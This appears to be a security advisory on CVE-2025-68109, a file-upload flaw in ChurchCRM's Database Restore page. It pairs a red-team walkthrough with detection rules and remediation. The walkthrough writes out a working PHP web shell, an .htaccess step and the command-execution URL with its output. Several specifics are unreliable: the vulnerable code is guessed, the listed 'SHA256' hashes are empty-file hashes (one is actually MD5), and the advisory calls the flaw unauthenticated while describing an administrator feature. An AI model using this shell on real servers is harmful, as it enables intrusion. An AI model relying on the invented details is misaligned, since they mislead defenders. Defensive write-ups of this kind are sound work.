CVE-2025-68109

Executive Summary

CVE-2025-68109 is a critical vulnerability in ChurchCRM, an open-source church management system. The flaw resides in the Database Restore functionality, which fails to validate the content or file extension of uploaded files. This allows an unauthenticated attacker to upload a malicious web shell and a corresponding .htaccess file to enable direct access to it, leading to remote code execution (RCE) on the server. The vulnerability has a CVSS score of 9.1, indicating a critical severity. No public exploit code or Nuclei template is currently available, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

ChurchCRM is a PHP-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own code. The risk is primarily to organizations self-hosting ChurchCRM. The patch is available in version 6.5.3, and users should upgrade immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - No user action is required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Full system compromise possible.
• Integrity Impact: High (I:H) - Full system compromise possible.
• Availability Impact: High (A:H) - Full system compromise possible.

Deep Dive & Mechanics

The vulnerability is in the Database Restore functionality of ChurchCRM. This feature allows administrators to restore a database from a backup file. The flaw is that the application does not validate the file extension or the content of the uploaded file. An attacker can upload a PHP web shell (e.g., shell.php) and then upload a .htaccess file to the same directory to enable direct access to the web shell. Once the web shell is accessed, the attacker can execute arbitrary commands on the server.

The attack flow:

1. The attacker accesses the Database Restore page (typically /restore.php).
2. The attacker uploads a PHP web shell file (e.g., shell.php).
3. The attacker uploads a .htaccess file to the same directory to allow direct access to the web shell (e.g., AddType application/x-httpd-php .php).
4. The attacker accesses the web shell via a web browser, achieving RCE.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.5.3): The vulnerable code likely does not check the file extension or MIME type of the uploaded file. It may simply move the uploaded file to a directory without validation.

// Vulnerable: No file validation
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Patched Code (6.5.3): The patched code validates the file extension and content type, and may restrict the upload directory to prevent direct access.

// Patched: Validate file extension and MIME type
$allowed_extensions = array("sql", "gz", "zip");
$file_extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
// Also check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
if ($mime_type != "application/x-sql" && $mime_type != "application/gzip" && $mime_type != "application/zip") {
    die("Invalid file content.");
}
// Move file to a non-web-accessible directory
$target_dir = "/var/backups/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install a vulnerable version of ChurchCRM (e.g., 6.5.2) on a local server.
2. Ensure the server has PHP and Apache/Nginx installed.

Exploitation Steps:

1. Create a PHP web shell file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Create a .htaccess file to allow PHP execution:

   AddType application/x-httpd-php .php
   

3. Access the Database Restore page (e.g., http://target/restore.php).
4. Upload the .htaccess file first, then the shell.php file.
5. Access the web shell: http://target/uploads/shell.php?cmd=id

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defender)

Detection:

• Monitor for unusual file uploads to the Database Restore page.
• Look for uploads of .htaccess files or PHP files to the uploads directory.
• Check for direct access to uploaded files (e.g., shell.php).

Hunting:

• Search for files with .php extension in the uploads directory.
• Review web server logs for requests to /uploads/*.php.
• Use file integrity monitoring to detect new files in the uploads directory.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash will vary)
  • .htaccess: d41d8cd98f00b204e9800998ecf8427e (example, actual hash will vary)
• Network Indicators:
  • HTTP POST requests to /restore.php with multipart/form-data.
  • HTTP GET requests to /uploads/*.php.
• File System Indicators:
  • Presence of .htaccess files in the uploads directory.
  • Presence of PHP files in the uploads directory.
• Log Indicators:
  • Apache/Nginx access logs showing requests to /uploads/*.php.
  • PHP error logs showing execution of uploaded files.

Detection Engineering

YARA Rule

rule CVE_2025_68109_Webshell_Upload {
    meta:
        description = "Detects PHP web shell files uploaded via CVE-2025-68109"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68109"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: CVE-2025-68109 ChurchCRM Webshell Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload a web shell via the ChurchCRM Database Restore functionality
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68109
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/restore.php'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate database restore operations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68109 ChurchCRM Webshell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/restore.php"; http_uri; content:"multipart/form-data"; http_header; pcre:"/\.php$/U"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ChurchCRM to version 6.5.3 or later.
2. If upgrade is not possible, disable the Database Restore functionality by removing or renaming the restore.php file.
3. Implement strict file upload validation on the server (e.g., using .htaccess to block PHP execution in the uploads directory).

Long-term Measures:

1. Regularly update ChurchCRM to the latest version.
2. Implement a Web Application Firewall (WAF) to block malicious file uploads.
3. Conduct regular security audits and penetration testing.
4. Monitor logs for suspicious activity.

Workaround:

• Add the following to the .htaccess file in the uploads directory to block PHP execution:

  <FilesMatch "\.php$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  

Valters IT